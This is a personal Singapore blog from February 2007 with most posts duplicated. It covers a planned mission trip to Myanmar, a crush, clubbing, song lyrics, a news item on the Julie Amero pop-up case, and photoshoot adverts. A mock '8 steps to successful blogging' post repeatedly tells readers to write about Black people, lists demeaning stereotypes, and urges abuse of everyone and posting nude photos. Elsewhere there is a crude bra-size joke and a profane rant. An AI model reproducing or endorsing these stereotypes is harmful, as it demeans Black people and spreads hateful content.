i have one electrico ticket to sell, cos i will not be free on that day. please like. msg me soon. cos everyone is asking me. but they want. 2 tickets. so if you need one. please. TELL ME! so i dont have to go thru the trouble of calling the whole world for one more ticket so you can buy a PAIR!
have you had to make a decision soo bad, it kinda tears your head apart? you have to decide, either this or that. and that you cannot have either this or that. so how?
you have to make a decision. you have to make a decision that could potentially, screw someone's life up, or not screw someone's life up. well, most decision you make usually have these kinda effects.
but the decisions one must make is that it has to be, right in God's eyes. and i guess thats what i wanna do for this decision. so yea.
im listening to si yi de li you. translated is, 11 reasons to stop loving you. so yea. i guess, yea. that's it. =)
this is damn hard. but. it will definately benefit her more then it does me. so. goodbye to you.
Wednesday, February 28, 2007
woohoo! wg is back. =)
so happy. haha. this is getting crazy. but oh wells.
yea. as you guys can tell, im bored to tears, so bored that im actually blogging so regularly. like. at least twice a day! yes, thats totally weird, coming from me. haha. but nope, my friendster's still as dead as it could possibly be. =P
anyway! raH! cannary got free entry TONIGHT! and 1 for 1 and all the crap. BUT. im BROKE! haha. plus, its ladies night today to. =x oh wells. shall be nice, and go church for rehersal instd. =) haha. but seriously. this is getting outta hand. my well, clubbing life is suddenly revived, hampered only by my financial life. =)
=) anyway, heres my random article for the. well, first part of the day i presume. =)
Freaky Goals
what the hell is this? haha. totally stupid. and silly.
anyway. not sure if i posted this up before. but, ever wondered why ABCDEFG are used to define bra and brest sizes? heres the reason.
A - Airport (flat)
B - Barely there
C - Can do
D - Damn good
E - Enormous
F - Fake
G - Good gracious!
H- Huge!!
I - Impossible!!!
no offense to the female readers of my blog.. it just caught my eye so i decided to share the laughter. really no offence. =)
if you had one wish. what would it be? will that one wish benefit you? or benefit the one that you love? will that one particular wish that you have turn you greedy, poison your heart, mind and soul, just so that you can have something that you yearn for even though it might affect the lives of others and those whom you love? or will you choose to wish a wish that you know will not benefit you but others? one whom you love deeply? a wish that will take everything away from you; your friends, your family, your life, the one you love, but give the one whom you love everything he/she wishes for?
what will your choice be?
for yourself? or for others?
to do the right thing? or not.
to do it for love? or for greed.
what will you wish for?
so happy. haha. this is getting crazy. but oh wells.
yea. as you guys can tell, im bored to tears, so bored that im actually blogging so regularly. like. at least twice a day! yes, thats totally weird, coming from me. haha. but nope, my friendster's still as dead as it could possibly be. =P
anyway! raH! cannary got free entry TONIGHT! and 1 for 1 and all the crap. BUT. im BROKE! haha. plus, its ladies night today to. =x oh wells. shall be nice, and go church for rehersal instd. =) haha. but seriously. this is getting outta hand. my well, clubbing life is suddenly revived, hampered only by my financial life. =)
=) anyway, heres my random article for the. well, first part of the day i presume. =)
Freaky Goals
what the hell is this? haha. totally stupid. and silly.
anyway. not sure if i posted this up before. but, ever wondered why ABCDEFG are used to define bra and brest sizes? heres the reason.
A - Airport (flat)
B - Barely there
C - Can do
D - Damn good
E - Enormous
F - Fake
G - Good gracious!
H- Huge!!
I - Impossible!!!
no offense to the female readers of my blog.. it just caught my eye so i decided to share the laughter. really no offence. =)
if you had one wish. what would it be? will that one wish benefit you? or benefit the one that you love? will that one particular wish that you have turn you greedy, poison your heart, mind and soul, just so that you can have something that you yearn for even though it might affect the lives of others and those whom you love? or will you choose to wish a wish that you know will not benefit you but others? one whom you love deeply? a wish that will take everything away from you; your friends, your family, your life, the one you love, but give the one whom you love everything he/she wishes for?
what will your choice be?
for yourself? or for others?
to do the right thing? or not.
to do it for love? or for greed.
what will you wish for?
im blogging like. alot. that only means one thing.
im freaking BORED! haha. =)
heres my 2nd post for the day, for the billionth day straight. =D
A local newspaper posted on Sunday the 346-page courtroom transcript of a trial that found Connecticut substitute teacher Julie Amero guilty of harming minors because her schoolroom PC was plagued by pornographic pop-up ads.
The transcript, placed online by the Norwich Bulletin, brings more detail to a case that has quickly become a controversial issue in the security community. Prosecutors argued that forensics evidence proved that Amero had herself caused the pop-up ads by going to pornographic Web sites, but security experts have lambasted the assertions and have organized a massive effort to analyze the disk image of Amero's classroom computer.
The transcripts show that the prosecution's main case against Amero was that she did not do enough to prevent her pupils from seeing the images on the screen, according to the Norwich Bulletin. However, the newspaper's reporting of the case has been criticized by security experts and others.
The case has attracted an enormous amount of interest, because the details of the trial appear to indicate that the jury convicted the teacher based on a significant lack of understanding of the technology involved and a flawed analysis of the digital evidence. For example, a police detective testified that Amero would have had to click on pornographic Web sites to cause the pop-up advertisements--testimony that security experts have roundly refuted.
Moreover, Amero did not do nothing. Evidence appears to indicate that the monitor of the classroom computer had been turned to face away from the students and that the children had to actually walk to the front of the classroom to see the images.
Amero is scheduled to be sentenced on Friday in Norwich Superior Court. The four felony counts could, conceivably, result in up to 40 years of jail time for the former schoolteacher.
tsk tsk. future horny teachers, please please. do not satisfy your homones in school, esp in front of the kids. please control your horrific desire to well, pleasure yourself. its a bad example for the kids. also. you might end up like the poor granny up there.
im freaking BORED! haha. =)
heres my 2nd post for the day, for the billionth day straight. =D
A local newspaper posted on Sunday the 346-page courtroom transcript of a trial that found Connecticut substitute teacher Julie Amero guilty of harming minors because her schoolroom PC was plagued by pornographic pop-up ads.
The transcript, placed online by the Norwich Bulletin, brings more detail to a case that has quickly become a controversial issue in the security community. Prosecutors argued that forensics evidence proved that Amero had herself caused the pop-up ads by going to pornographic Web sites, but security experts have lambasted the assertions and have organized a massive effort to analyze the disk image of Amero's classroom computer.
The transcripts show that the prosecution's main case against Amero was that she did not do enough to prevent her pupils from seeing the images on the screen, according to the Norwich Bulletin. However, the newspaper's reporting of the case has been criticized by security experts and others.
The case has attracted an enormous amount of interest, because the details of the trial appear to indicate that the jury convicted the teacher based on a significant lack of understanding of the technology involved and a flawed analysis of the digital evidence. For example, a police detective testified that Amero would have had to click on pornographic Web sites to cause the pop-up advertisements--testimony that security experts have roundly refuted.
Moreover, Amero did not do nothing. Evidence appears to indicate that the monitor of the classroom computer had been turned to face away from the students and that the children had to actually walk to the front of the classroom to see the images.
Amero is scheduled to be sentenced on Friday in Norwich Superior Court. The four felony counts could, conceivably, result in up to 40 years of jail time for the former schoolteacher.
tsk tsk. future horny teachers, please please. do not satisfy your homones in school, esp in front of the kids. please control your horrific desire to well, pleasure yourself. its a bad example for the kids. also. you might end up like the poor granny up there.
Tuesday, February 27, 2007
How To Shower - Men & Women
GREAT SEX SECRETS OF THE GIRLFRIEND TRAINER
Amazing, Strange And Unbelievable. Can You Figure This Out?
Slide away - and give it all you've got
My today - fell in from the top
I dream of you - and all the things you say
I wonder where you are now?
Hold me down - all the world's asleep
I need you now - you've knocked me off my feet
I dream of you - we talk of growing old
But you said please don't !
Slide in baby - together we'll fly
I've tried praying - and I know just what you're saying to me
Now that you're mine
I'll find a way
Of chasing the sun
Let me be the one that shines with you
In the morning when you don't know what to do
Two of a kind
We'll find a way
To do what we've done
Let me be the one that shines with you
And we can slide away.
Slide away - and give it all you've got
My today - fell in from the top
I dream of you - and all the things you say
I wonder where you are now?
Slide in baby - together we'll fly
I've tried praying - and I know just what you're saying to me
Now that you're mine
I'll find a way
Of chasing the sun
Let me be the one that shines with you
In the morning when you don't know what to do
Two of a kind
We'll find a way
To do what we've done
damnit. i kinda hate comments tags, cos i have to like, scroll all the fricking way down the post just to read wad someone said to me. its damnnnn troublesome. and im TOO lazy to do make a new template. can someone do it for me? im toooo freaking lazy. haha. =D
Monday, February 26, 2007
this is really interesting. haha. look at THIS
totally weird yar? haha. like. im searching for myself. like. major weird! haha. buts its damn interesting. =) hack, you can even google for passwords, stumbled across a few hashed ones alr. but not the tools to de-hash them. anyway. even if i had the tools, which my laptop is well equipped with, its wrong. so dont do it okay? =D
as you can probably tell, im really really bored. yea. like. MAJOR. dont ask why.
so i guess, im preping for the trip, and i kinda like, gotta start going to do stuffs i havent been doing, like. shop! haha. soccer! watch movies, (damn, im gonna miss phantom of the opera tho, sucky shit) play more soccer, CS, and just hanging out with friends i guess? =D
so yea. i gotta start mentalling prepping myself, for 2 months. no family, no friends expt 2, and yea. no internet, or relatives, or seeing her, but oh wells. thats another story for another day. got things to do! bye!
totally weird yar? haha. like. im searching for myself. like. major weird! haha. buts its damn interesting. =) hack, you can even google for passwords, stumbled across a few hashed ones alr. but not the tools to de-hash them. anyway. even if i had the tools, which my laptop is well equipped with, its wrong. so dont do it okay? =D
as you can probably tell, im really really bored. yea. like. MAJOR. dont ask why.
so i guess, im preping for the trip, and i kinda like, gotta start going to do stuffs i havent been doing, like. shop! haha. soccer! watch movies, (damn, im gonna miss phantom of the opera tho, sucky shit) play more soccer, CS, and just hanging out with friends i guess? =D
so yea. i gotta start mentalling prepping myself, for 2 months. no family, no friends expt 2, and yea. no internet, or relatives, or seeing her, but oh wells. thats another story for another day. got things to do! bye!
wondered how to make a super popular blog? a blog that everyone reads? like xiaxue's blog? or mr brown's blog? or missizzy's blog? or whoever whom you've always wanted follow in the footsteps off? well. despair not. for i am here to teach you the art of popular blogging. =)
well, there are a few simple steps to follow to ensure that your blog will be on the top of technorati list, with a gazillion followers, whom read your blog daily, not, by the minute!
step 1 : blog about controversial things.
lets see, mr brown is doing it, xiaxue is doing it, brose's doing it, everyone is in this LINE! controversial things to talk about, especially since we are singaporeans; post your views on the black people, the white people, the gah-ment of singapore, the black people, and well, more black people. you will definately get noticed.!
step 2 : blog about the gah-ment.
yes. this is a very successful step.! mr brown did it. and boy, he did rose to fame, even in the papers and television news! so yea, talk about the gah-ment of singapore, blog about your views as to why the hike is GST is really really a must? blog about why the current PM has the same surname as the first PM of singapore. blog about absolutely EVERYTHING you want. remember. its YOUR blog, but no FLAMING okay? its considered. rude.
step 3 : blog about black people.
black people do this, they dont smell right, they dont act right, they dont walk right, they can't fuck right... everything you can lay your hands on. go ahead! BLOG TO YOUR HEARTS CONTENT!
step 4 : blog about your sexual activities
like miss izzy, she's doing it. wth? take a nude picture of yourselves, of your friends and post them up! a sure-hit topic. however, if you look like a pig, please absolutely do NOT post pictures of yourself on your blog, let alone your sexual videos or nudist photos of yourselves. everyone will DEFINATELY SHUN your blog. so do not come crying to me when that happens. you have been WARNED!
step 5 : make your blog dedicated to entertainment.
when i said entertainment, i didn't mean something like, watch tv, blog about nice games or the like. rather i meant, blog about the prank you did to the poor fool who sat beside you in class, the old lady whom you cheated a hundred bucks out of and the like. still odnt get me? visit HERE and youll get what i mean
step 6 : be abusive about everything and everyone.
yes. the homo sapian spieces THRIVES on violence. so go ahead. abuse everyone. for mroe info, go HERE
step 7 : blog about more BLACK PEOPLE!
'nuff said. ;D
step 8 : when all else fails
when all else fails. people are still NOT reading your blog. and your blog looks like one of the 5 million blogs on the net that isn't even updated, well. DELETE YOUR DAMN BLOG! its a complete failure. delete the blog, and cower in a corner and start crying. cry till your hearts contend, and after that, start whacking every single thing related to your blog into oblivience. things like, your pc, thrash it, your oh-my-freaking-expensive mice? burn it! or you can always donate it to the love DOMINIC fund. your moniter? smash it like hulk smashes things, and throw it down from the 100th story! everything will be solved. no more blog-aches for you.
yes. there you have it. the 8 steps to successful blogging. till next time. im dominic, thank you. =D
well, there are a few simple steps to follow to ensure that your blog will be on the top of technorati list, with a gazillion followers, whom read your blog daily, not, by the minute!
step 1 : blog about controversial things.
lets see, mr brown is doing it, xiaxue is doing it, brose's doing it, everyone is in this LINE! controversial things to talk about, especially since we are singaporeans; post your views on the black people, the white people, the gah-ment of singapore, the black people, and well, more black people. you will definately get noticed.!
step 2 : blog about the gah-ment.
yes. this is a very successful step.! mr brown did it. and boy, he did rose to fame, even in the papers and television news! so yea, talk about the gah-ment of singapore, blog about your views as to why the hike is GST is really really a must? blog about why the current PM has the same surname as the first PM of singapore. blog about absolutely EVERYTHING you want. remember. its YOUR blog, but no FLAMING okay? its considered. rude.
step 3 : blog about black people.
black people do this, they dont smell right, they dont act right, they dont walk right, they can't fuck right... everything you can lay your hands on. go ahead! BLOG TO YOUR HEARTS CONTENT!
step 4 : blog about your sexual activities
like miss izzy, she's doing it. wth? take a nude picture of yourselves, of your friends and post them up! a sure-hit topic. however, if you look like a pig, please absolutely do NOT post pictures of yourself on your blog, let alone your sexual videos or nudist photos of yourselves. everyone will DEFINATELY SHUN your blog. so do not come crying to me when that happens. you have been WARNED!
step 5 : make your blog dedicated to entertainment.
when i said entertainment, i didn't mean something like, watch tv, blog about nice games or the like. rather i meant, blog about the prank you did to the poor fool who sat beside you in class, the old lady whom you cheated a hundred bucks out of and the like. still odnt get me? visit HERE and youll get what i mean
step 6 : be abusive about everything and everyone.
yes. the homo sapian spieces THRIVES on violence. so go ahead. abuse everyone. for mroe info, go HERE
step 7 : blog about more BLACK PEOPLE!
'nuff said. ;D
step 8 : when all else fails
when all else fails. people are still NOT reading your blog. and your blog looks like one of the 5 million blogs on the net that isn't even updated, well. DELETE YOUR DAMN BLOG! its a complete failure. delete the blog, and cower in a corner and start crying. cry till your hearts contend, and after that, start whacking every single thing related to your blog into oblivience. things like, your pc, thrash it, your oh-my-freaking-expensive mice? burn it! or you can always donate it to the love DOMINIC fund. your moniter? smash it like hulk smashes things, and throw it down from the 100th story! everything will be solved. no more blog-aches for you.
yes. there you have it. the 8 steps to successful blogging. till next time. im dominic, thank you. =D
have you wished that.
all your wishes will come true?
well, i have, but sadly. its still a wish.
"Goals that are not written down are just wishes"
but i disagree. a wish is something that you'll probably never have. or ever could get, but you wish you could have it. you just want it so bad, but, you will never, almost ever, have or ever attain it.
but a man who wishes that its true, or will come true, will generally think that it will be true. or is true.
"A man is his own easiest dupe, for what he wishes to be true he generally believes to be true" Demosthenes
even Demosthenes agrees with me. for one who is considered to be the greatest orator of ancient Greece from 384bc to 322bc to say this statement. its really something that human beings cannot shake off. i mean, yea, people live in self-denial, and though they know, they still think that what is false is true, and what is true is false, decieving themselves all over again. and it is a vicious cycle.
so what is the solution one may ask..
well, one of the solution is too, well, make sure that you KNOW that you are living in a world of fantasy and dreams. one that can probably never happen. though there doth are exceptions, but, usually, for the average person, nope. so once you know that you are living in a world of fantasy, where you believe that your wishes will come true. you have to give that hope up, because. it might never happen. rather. it will probably never ever happen.
the next solution is too, find out whether what you wish for is true? for eg, you wish that a particular girl likes you, so instd of just wishing that she does, you ask her. and you will know the answer well enough. get the picture? wonderfully fantasically great!
i've been pretty much in a state of confusion lately. i would really like to elaborate on this topic, but i know that if i do, it would be a topic that would haunt, might haunt a particular someone. esp if i were to reveal the name. but gist of this confusion is this, and i'll be pretty straight fwd. cos im sure theres people out there, too pai seh to ask WHO is she, and yet kapo enough to wanna know WHO she is.
but yea, im sorry, no names will be out, no noticeable things will be said. =)
basically, there's a girl i like. period.
=)
yupps.. i think i've said enough. =) if she's reading this, i think she might know who she is, and till now, i THINK she probably doesn't know that it is her that i like.=D so complicated right? haha.
yes. thats my life. complicated. =D
so i guess, by going on this mission trip, kinda hope to leave my troubles behind? that is, if there still is. but yea.
thats so.. selfish! haha. but definately thats not my ONLY reason. =D
nights all
all your wishes will come true?
well, i have, but sadly. its still a wish.
"Goals that are not written down are just wishes"
but i disagree. a wish is something that you'll probably never have. or ever could get, but you wish you could have it. you just want it so bad, but, you will never, almost ever, have or ever attain it.
but a man who wishes that its true, or will come true, will generally think that it will be true. or is true.
"A man is his own easiest dupe, for what he wishes to be true he generally believes to be true" Demosthenes
even Demosthenes agrees with me. for one who is considered to be the greatest orator of ancient Greece from 384bc to 322bc to say this statement. its really something that human beings cannot shake off. i mean, yea, people live in self-denial, and though they know, they still think that what is false is true, and what is true is false, decieving themselves all over again. and it is a vicious cycle.
so what is the solution one may ask..
well, one of the solution is too, well, make sure that you KNOW that you are living in a world of fantasy and dreams. one that can probably never happen. though there doth are exceptions, but, usually, for the average person, nope. so once you know that you are living in a world of fantasy, where you believe that your wishes will come true. you have to give that hope up, because. it might never happen. rather. it will probably never ever happen.
the next solution is too, find out whether what you wish for is true? for eg, you wish that a particular girl likes you, so instd of just wishing that she does, you ask her. and you will know the answer well enough. get the picture? wonderfully fantasically great!
i've been pretty much in a state of confusion lately. i would really like to elaborate on this topic, but i know that if i do, it would be a topic that would haunt, might haunt a particular someone. esp if i were to reveal the name. but gist of this confusion is this, and i'll be pretty straight fwd. cos im sure theres people out there, too pai seh to ask WHO is she, and yet kapo enough to wanna know WHO she is.
but yea, im sorry, no names will be out, no noticeable things will be said. =)
basically, there's a girl i like. period.
=)
yupps.. i think i've said enough. =) if she's reading this, i think she might know who she is, and till now, i THINK she probably doesn't know that it is her that i like.=D so complicated right? haha.
yes. thats my life. complicated. =D
so i guess, by going on this mission trip, kinda hope to leave my troubles behind? that is, if there still is. but yea.
thats so.. selfish! haha. but definately thats not my ONLY reason. =D
nights all
Sunday, February 25, 2007
rah! my template got problme. so temp i'll be using this temp. till i've either found out why my previous template is not working, or i've done a new one, or found one cos im just too lazy. so yea.
please do not ask me.. i've a gazillion people asking.. haha
okay.. at least i know that people are reading my blog. cool =)
will blog ltr. =)
please do not ask me.. i've a gazillion people asking.. haha
okay.. at least i know that people are reading my blog. cool =)
will blog ltr. =)
Friday, February 23, 2007
wth!? my cousin refused to bring me clubbing. okay. not that im freaking underage, i can club legally! BUT. im FREAKING broke. so i have to resort to underhand means, okay. go with people who.. *ahem* "cares" about me. =)
haha. okay. offically, going next week. which day. not sure. at least.i'll make sure i wont get drunk. haha. will be damn pai seh if i get drunk when im with them. HURR. and better yet, I HAVENT GOTTEN DRUNK IN MY WHOLE ENTIRE DRINKING LIFE! yes, thats a reputation i MUST keep. haha. wait i anyhow anyhow with some hto girl how? iM TOO FREAKING CHARMING! ahah. full of SHIT. i'll probably get raped by gays or something. =x
anyway. my other cousins are staying over. well, the lil young ones, so yea, kinda like. i gotta be nice to them, show them a good example. haha
dont ask me why im doing this? probably cos im BORED. with a capital B-O-R-E-D. =)
but here goes..
okay. my afternoon was dedicated to. well, cheesecake making. for tml's cell. (see people! im nice okay?)
yupps, the wonderful cheesecake err. watery thingy. =)
the cheesecake waterythingy is NICE oaky? haha.
the done, but slighty burnt cheesecake, gonnna well, scrape the burnt parts away. =x so it'll look MUCH MUCH nicer. =)
and cos. some stupid and random pictures, cos, since im doing this.. why not??
porche boxter, i think its a 1992 model, (i THINK) haha. and yea, the light reflected off the logo really makes it nice. =)
candid moment, sam's dog hugging abi's bolster. haha. damn cute right? =D
dont ask why i've decided to take a picture in MOS's toilet? haha. yea. thats the upstairs toilet in m.o.s. haha. guess cos it's well lit? okay. better lit then the rest of the place. and my stupid phone couldn't take the stupid stamp. so. oh wells, toilet dan. =)
oh wells. i have more videos, like my 6 year old nephew confessing that he has a girlfriend. but. im TOO lazy to wait for the damn video to load. haha. so. i guess.. until next time. CIAO!
If I could save time in a bottle
The first thing that Id like to do
Is to save every day
Till eternity passes away
Just to spend them with you
If I could make days last forever
If words could make wishes come true
Id save every day like a treasure and then,
Again, I would spend them with you
But there never seems to be enough time
To do the things you want to do
Once you find them
Ive looked around enough to know
That youre the one I want to go
Through time with
If I had a box just for wishes
And dreams that had never come true
The box would be empty
Except for the memory
Of how they were answered by you
But there never seems to be enough time
To do the things you want to do
Once you find them
Ive looked around enough to know
That youre the one I want to go
Through time with
haha. okay. offically, going next week. which day. not sure. at least.i'll make sure i wont get drunk. haha. will be damn pai seh if i get drunk when im with them. HURR. and better yet, I HAVENT GOTTEN DRUNK IN MY WHOLE ENTIRE DRINKING LIFE! yes, thats a reputation i MUST keep. haha. wait i anyhow anyhow with some hto girl how? iM TOO FREAKING CHARMING! ahah. full of SHIT. i'll probably get raped by gays or something. =x
anyway. my other cousins are staying over. well, the lil young ones, so yea, kinda like. i gotta be nice to them, show them a good example. haha
dont ask me why im doing this? probably cos im BORED. with a capital B-O-R-E-D. =)
but here goes..
okay. my afternoon was dedicated to. well, cheesecake making. for tml's cell. (see people! im nice okay?)
yupps, the wonderful cheesecake err. watery thingy. =)
the cheesecake waterythingy is NICE oaky? haha.
the done, but slighty burnt cheesecake, gonnna well, scrape the burnt parts away. =x so it'll look MUCH MUCH nicer. =)
and cos. some stupid and random pictures, cos, since im doing this.. why not??
porche boxter, i think its a 1992 model, (i THINK) haha. and yea, the light reflected off the logo really makes it nice. =)
candid moment, sam's dog hugging abi's bolster. haha. damn cute right? =D
dont ask why i've decided to take a picture in MOS's toilet? haha. yea. thats the upstairs toilet in m.o.s. haha. guess cos it's well lit? okay. better lit then the rest of the place. and my stupid phone couldn't take the stupid stamp. so. oh wells, toilet dan. =)
oh wells. i have more videos, like my 6 year old nephew confessing that he has a girlfriend. but. im TOO lazy to wait for the damn video to load. haha. so. i guess.. until next time. CIAO!
If I could save time in a bottle
The first thing that Id like to do
Is to save every day
Till eternity passes away
Just to spend them with you
If I could make days last forever
If words could make wishes come true
Id save every day like a treasure and then,
Again, I would spend them with you
But there never seems to be enough time
To do the things you want to do
Once you find them
Ive looked around enough to know
That youre the one I want to go
Through time with
If I had a box just for wishes
And dreams that had never come true
The box would be empty
Except for the memory
Of how they were answered by you
But there never seems to be enough time
To do the things you want to do
Once you find them
Ive looked around enough to know
That youre the one I want to go
Through time with
Thursday, February 22, 2007
everytime you get your hopes up
you get pushed back down to earth
back to reality
yea.
thing is, that feelingg sucks
esp since the one who pushed you down
was the one who built you up
made you feel high
build me up buttercup, but please dont break my heart
oh wells.
met beat (pronouned as, beee--att, not beat!) today. okay. i really really wanna go? to maynmar. that is. yupps. i guess i kinda understand my father's hesistency at me going, cos i have quite a few unsettle stuffs, and well, the ARMY! haha. but i guess, thats the point right? leave everything BEHIDN, and do this for the Lord, and well, give HIM my all. i guess its gonna be a really trying time, since this is my first mission trip. and 2 months at that. oh wells..
but yea. i guess, the stuffs that i'll leave.. some do are quite important, well, thats why i have to really pray about them. yea. i guess a few of you alr know well, what they are and all. =D
and yea. i have to leave them and just go forward, never looking back.. okay. not never, but. not looking till im back in SG. haha. so the mission trip will be say.. 2 months? im seeing if it can be 6 weeks instead. 2 months isn't a problem. just THE ARMY! haha. major crappified thing. gotta check if i gotta like,. pay the army or smthg. so i can go, and that'll they'll be assured that i wont run away to burma, okay. great. of all places to run away too. haha. =x
but yea. 2 months. stuck with well, angel and michelle. thats really a bloodcurling, spine chilling, hair-raising, mind boogling, terrifying and horrifying thought! 2 months!? omg, im so gonna die. major
oh wells, pray for me.
im leaving.. for 2 months. how peaceful singapore will be.
how peaceful my friends will be
how peaceful *you will feel. =D
yea. im just expecting the worst, even though i kinda think it is? yea. im expecting that you wont like me, that you are annoyed at me, that you can't wait for me to die or something. esp since.. well.. yea....
yupps, learnt my lesson, i wont get my hopes up.. i'll keep them. low and under wraps. and well.... *there he goes. walking away from the troubles*
i'll post some cute video i took just now tml.. im too lazy to upload it now. =x
missing ya...
major
you get pushed back down to earth
back to reality
yea.
thing is, that feelingg sucks
esp since the one who pushed you down
was the one who built you up
made you feel high
build me up buttercup, but please dont break my heart
oh wells.
met beat (pronouned as, beee--att, not beat!) today. okay. i really really wanna go? to maynmar. that is. yupps. i guess i kinda understand my father's hesistency at me going, cos i have quite a few unsettle stuffs, and well, the ARMY! haha. but i guess, thats the point right? leave everything BEHIDN, and do this for the Lord, and well, give HIM my all. i guess its gonna be a really trying time, since this is my first mission trip. and 2 months at that. oh wells..
but yea. i guess, the stuffs that i'll leave.. some do are quite important, well, thats why i have to really pray about them. yea. i guess a few of you alr know well, what they are and all. =D
and yea. i have to leave them and just go forward, never looking back.. okay. not never, but. not looking till im back in SG. haha. so the mission trip will be say.. 2 months? im seeing if it can be 6 weeks instead. 2 months isn't a problem. just THE ARMY! haha. major crappified thing. gotta check if i gotta like,. pay the army or smthg. so i can go, and that'll they'll be assured that i wont run away to burma, okay. great. of all places to run away too. haha. =x
but yea. 2 months. stuck with well, angel and michelle. thats really a bloodcurling, spine chilling, hair-raising, mind boogling, terrifying and horrifying thought! 2 months!? omg, im so gonna die. major
oh wells, pray for me.
im leaving.. for 2 months. how peaceful singapore will be.
how peaceful my friends will be
how peaceful *you will feel. =D
yea. im just expecting the worst, even though i kinda think it is? yea. im expecting that you wont like me, that you are annoyed at me, that you can't wait for me to die or something. esp since.. well.. yea....
yupps, learnt my lesson, i wont get my hopes up.. i'll keep them. low and under wraps. and well.... *there he goes. walking away from the troubles*
i'll post some cute video i took just now tml.. im too lazy to upload it now. =x
missing ya...
major
Wednesday, February 21, 2007
fucking full of fucked up shit.
really.
i dont understand why the fuck you act that way?
i know. im fucking childish. so?
knwo something?
its cos of YOU and your FUCKING MrS that i DONT see the POINT in GOING to CHURCH!
cos ITS a FUCKING SPLIT PERSONALITY!
ITS FUCKING CRAP
totally fucking crap..
KILL KILL.. DIE DIE
HAPPY HAPPY
LIFE LIFE!
DIE DIE
KILL KILL
totally. since i dont alr see the point, even though i KNOW the reason..
i shouldn't waste my fucking time.
time waits for no man.
really.
i dont understand why the fuck you act that way?
i know. im fucking childish. so?
knwo something?
its cos of YOU and your FUCKING MrS that i DONT see the POINT in GOING to CHURCH!
cos ITS a FUCKING SPLIT PERSONALITY!
ITS FUCKING CRAP
totally fucking crap..
KILL KILL.. DIE DIE
HAPPY HAPPY
LIFE LIFE!
DIE DIE
KILL KILL
totally. since i dont alr see the point, even though i KNOW the reason..
i shouldn't waste my fucking time.
time waits for no man.
this is interesting. haha.
once i get my DSLR.
im gonna to start going for photoshoots! haha
its like. quite expensive man.
but got PROfessional models sia.! haha..
and PROfessional camera,
BUT.. the photographer is UNprofessonal. oh wells..
heres something about the photoshoot!
Her exquisite beauty has already made her a permanent fixture in runway shows and catalog shoots in eastern Europe. Right now, YOU get to customize your very own shoot with Olesya! YOU will:
- decide your own location
- your own date/time...even on week days
- your own team of photographers and kakis
- your own makeup artist
& your own theme and style {no nude themes}
Charges for Olesya:
- 3hrs shoot excluding makeup time : $500 (shared by the entire team)
- 1 briefing session will be provided FREE for YOUR TEAM to speak and discuss with the model pior to the shoot
- 1 fitting session will be provide FREE if you have your own wardrope to fit the model pior to the shoot
How to Sign Up:
1 form your own team of Photographers & Kakis that consist of 4 or less shooting Photographers
2 decide the theme that you would like to shoot. We will provide you with contacts for makeup artist, studio rental & art director if you require.
3 SMS or PM me to book Olesya
So now you DON'T have to shoot in Big Groups, shoot with someone you Dislike, shoot in Locations you can't control...etc etc
YOU are now the boss!
* Olesya will be available from the 2nd week of March, so starting planning your shoot and find your fellow kakis to share and have fun shooting Olesya in your own direction and style.
Booking opens now...contact me if you need further info.
interesting ya?? haha .. okay. no money, no PROfessional cam.
so. i'll probabbly go for one thats far cheaper and i''ll borrow my uncles. haha. okay another photoshoot. =)
Hi everybody!
This coming Sunday (25th Feb) MODELinn will be featuring sizzling Nataliya, from Ukraine! With captivating green eyes, bootilicious body, sexy light brown hair, she is one drop dead gorgeous babe u shouldn't miss at all! For a limited stay in Singapore, dun miss this chance to capture her beauty! So register with MODELinn now!
Details:
Sunday (25th Feb): 8.30am - 11.30am
Fees per session: $78 for early birds(payment before Thu 22nd Feb
midnight) and repeat members, $88 thereafter.
Outfits: 3 (Clubbing, Casual)
Set Up: Ambient lighting adjustment arranged by organiser with multiple giant reflectors on single subject, beneficial for beginners;
Wind machine for outdoor use, superb hair "styling" effects as seen in pics
Who should attend: Newbies who have no idea how fashion/portraiture shoot is done, aspiring photographers looking to expand portfolio, photographers who like to learn and mingle, or even experts who like to share ideas, and perhaps anyone who loves Models :P
Location: Urban setting, to be released to confirmed participants only
Min 5, max 7 photographers per session
Email to MODELinn@ gmail.com to book your place now!
yupps, haha. i feel like im helping these people to advert. lol. but. hey. its erally interesting la! =D
damnit. whosgoing is DOWN! F-ing shit! rah!!
haha. no interesting topics to read liao. RAH!
ltr!
On the outside all we see is clay
That hides the perfect light
But no one really knows the pain inside
I understand how much it hurts
To be the one who's never seen
The missing pages in a magazine
No one knows you anymore
You're lost inside the walls you've built
No one knows you anymore
A prison deep within your soul
There is One who sees it all
He'll give you life you've never dreamed
He can see the pain underneath your skin
It's hard to see you fading
Nothing that I do can bring you back
I pray to God that you don't fade away
Your addiction is a symptom of a lost and dying soul
Without Jesus there's no hope at all
There's so much more this is not the end
It's all in your hands don't throw it away
A beautiful life with so much to give
The image of God underneath your skin
The beauty of God underneath your skin (3x)
once i get my DSLR.
im gonna to start going for photoshoots! haha
its like. quite expensive man.
but got PROfessional models sia.! haha..
and PROfessional camera,
BUT.. the photographer is UNprofessonal. oh wells..
heres something about the photoshoot!
Her exquisite beauty has already made her a permanent fixture in runway shows and catalog shoots in eastern Europe. Right now, YOU get to customize your very own shoot with Olesya! YOU will:
- decide your own location
- your own date/time...even on week days
- your own team of photographers and kakis
- your own makeup artist
& your own theme and style {no nude themes}
Charges for Olesya:
- 3hrs shoot excluding makeup time : $500 (shared by the entire team)
- 1 briefing session will be provided FREE for YOUR TEAM to speak and discuss with the model pior to the shoot
- 1 fitting session will be provide FREE if you have your own wardrope to fit the model pior to the shoot
How to Sign Up:
1 form your own team of Photographers & Kakis that consist of 4 or less shooting Photographers
2 decide the theme that you would like to shoot. We will provide you with contacts for makeup artist, studio rental & art director if you require.
3 SMS or PM me to book Olesya
So now you DON'T have to shoot in Big Groups, shoot with someone you Dislike, shoot in Locations you can't control...etc etc
YOU are now the boss!
* Olesya will be available from the 2nd week of March, so starting planning your shoot and find your fellow kakis to share and have fun shooting Olesya in your own direction and style.
Booking opens now...contact me if you need further info.
interesting ya?? haha .. okay. no money, no PROfessional cam.
so. i'll probabbly go for one thats far cheaper and i''ll borrow my uncles. haha. okay another photoshoot. =)
Hi everybody!
This coming Sunday (25th Feb) MODELinn will be featuring sizzling Nataliya, from Ukraine! With captivating green eyes, bootilicious body, sexy light brown hair, she is one drop dead gorgeous babe u shouldn't miss at all! For a limited stay in Singapore, dun miss this chance to capture her beauty! So register with MODELinn now!
Details:
Sunday (25th Feb): 8.30am - 11.30am
Fees per session: $78 for early birds(payment before Thu 22nd Feb
midnight) and repeat members, $88 thereafter.
Outfits: 3 (Clubbing, Casual)
